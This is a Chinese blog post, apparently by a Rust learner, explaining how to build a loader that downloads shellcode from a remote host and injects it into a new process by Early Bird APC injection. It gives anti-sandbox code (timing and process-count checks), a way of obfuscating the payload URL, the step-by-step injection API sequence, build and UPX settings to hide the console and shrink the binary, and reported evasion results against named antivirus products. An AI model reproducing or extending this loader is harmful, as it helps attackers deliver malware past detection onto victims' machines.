Rust远程加载shellcode

学习rust, 练习写一个loader, 不足之处还请指教

编写

隐藏黑框

在注释掉所有打印语句后编译运行还是会弹黑框, 解决方法是头部添加一行(指定 Rust 编译器生成的可执行文件为 Windows 子系统应用程序,而不是控制台应用程序):

bash 复制代码
#![windows_subsystem = "windows"]

反沙箱

流速检测

rust 复制代码
pub fn ft() {
    use std::time::{Duration, Instant};
    use std::thread::sleep;

    let start_time = Instant::now();

    sleep(Duration::from_millis(5000));

    let elapsed_time = start_time.elapsed();

    if elapsed_time.as_millis() < 5000 {
        std::process::exit(1);
    }
}

检查进程数

rust 复制代码
pub fn pc() {
    let mut system = System::new_all();
    system.refresh_all();
    let process_count = system.processes().len();

    if process_count <= 50 {
        std::process::exit(1);
    }
}

网络请求

使用轻量级的HTTP库ureq​, 示例如下:

rust 复制代码
use ureq;

fn main() {
    let response = ureq::get("https://example.com/file.zip")
        .call()
        .expect("Failed to make request");

    if response.status() == 200 {
        let content = response.into_string().expect("Failed to read response");
        println!("Downloaded file: {}", content);
    } else {
        eprintln!("Failed to download file, status code: {}", response.status());
    }
}

不要直接硬编码url在代码中,然后就用管用伎俩简单编码一下,但是一整个解码使用居然不成, 问gpt说可能产生了不可见字符

拆成protocol,host, port, pattern后解码组合就可以正常读取了, DIE中也没有检出(这个patcher还是要处理一下)

加载shellcode

这里我没有对shellcode进行任何处理, 获取之后直接使用Early Bird​进行注入, 简述一下过程:

  1. 使用 CreateProcessA 创建一个进程。
  2. 使用 VirtualAllocEx 在目标进程中分配远程内存。
  3. 使用 WriteProcessMemory 将 SHELLCODE 复制到已分配的内存中。
  4. 使用 VirtualProtectEx 更改内存权限为可执行。
  5. 使用 QueueUserAPC 执行进程。
  6. 使用 ResumeThread 恢复进程的线程。
  7. 使用 CloseHandle 关闭已打开的句柄。

对于错误处理一律退出不使用panic, 可以在代码中细看。

编译优化

为了缩小体积, 在_config.yml​中添加

bash 复制代码
[profile.release]
# 设置为1个块最大化优化,但时间会更长
codegen-units = 1
# 设置为s时,编译器会优先考虑生成最小的二进制文件大小,同时保持合理的性能
opt-level = "s"
# 链接时优化,可以显著减小二进制文件的大小,并提高性能
lto = true
# 禁止符号表和调试
debug = false
# 剥离调试信息
strip = true
# 崩溃时不希望看到调试信息
panic = "abort"

另外使用压缩库miniz_oxide​,添加上依赖:

bash 复制代码
[dependencies]
miniz_oxide = "0.5"

最后使用release 通用发布:

bash 复制代码
cargo build --release

使用cargo-strip​在构建后剥离二进制文件中的调试信息和其他不必要的数据。

bash 复制代码
cargo install cargo-strip
cargo strip -t target/release/RustLoader.exe

此时大小基本为1.5MB, 也可以继续upx压缩(patcher要注意处理一下), 之后按需加资源

bash 复制代码
upx -9 --best --force target/release/RustLoader.exe

免杀效果

添加反沙箱后, 无法在虚拟机中测试, 以下测试均使用直接生成的产物(不使用upx, upx-patcher, 反沙箱), 截止测试之时:

微步检出率为1/28

火绒

腾讯电脑管家

360

defender

如果觉得可以欢迎star一起交流~ : 传送门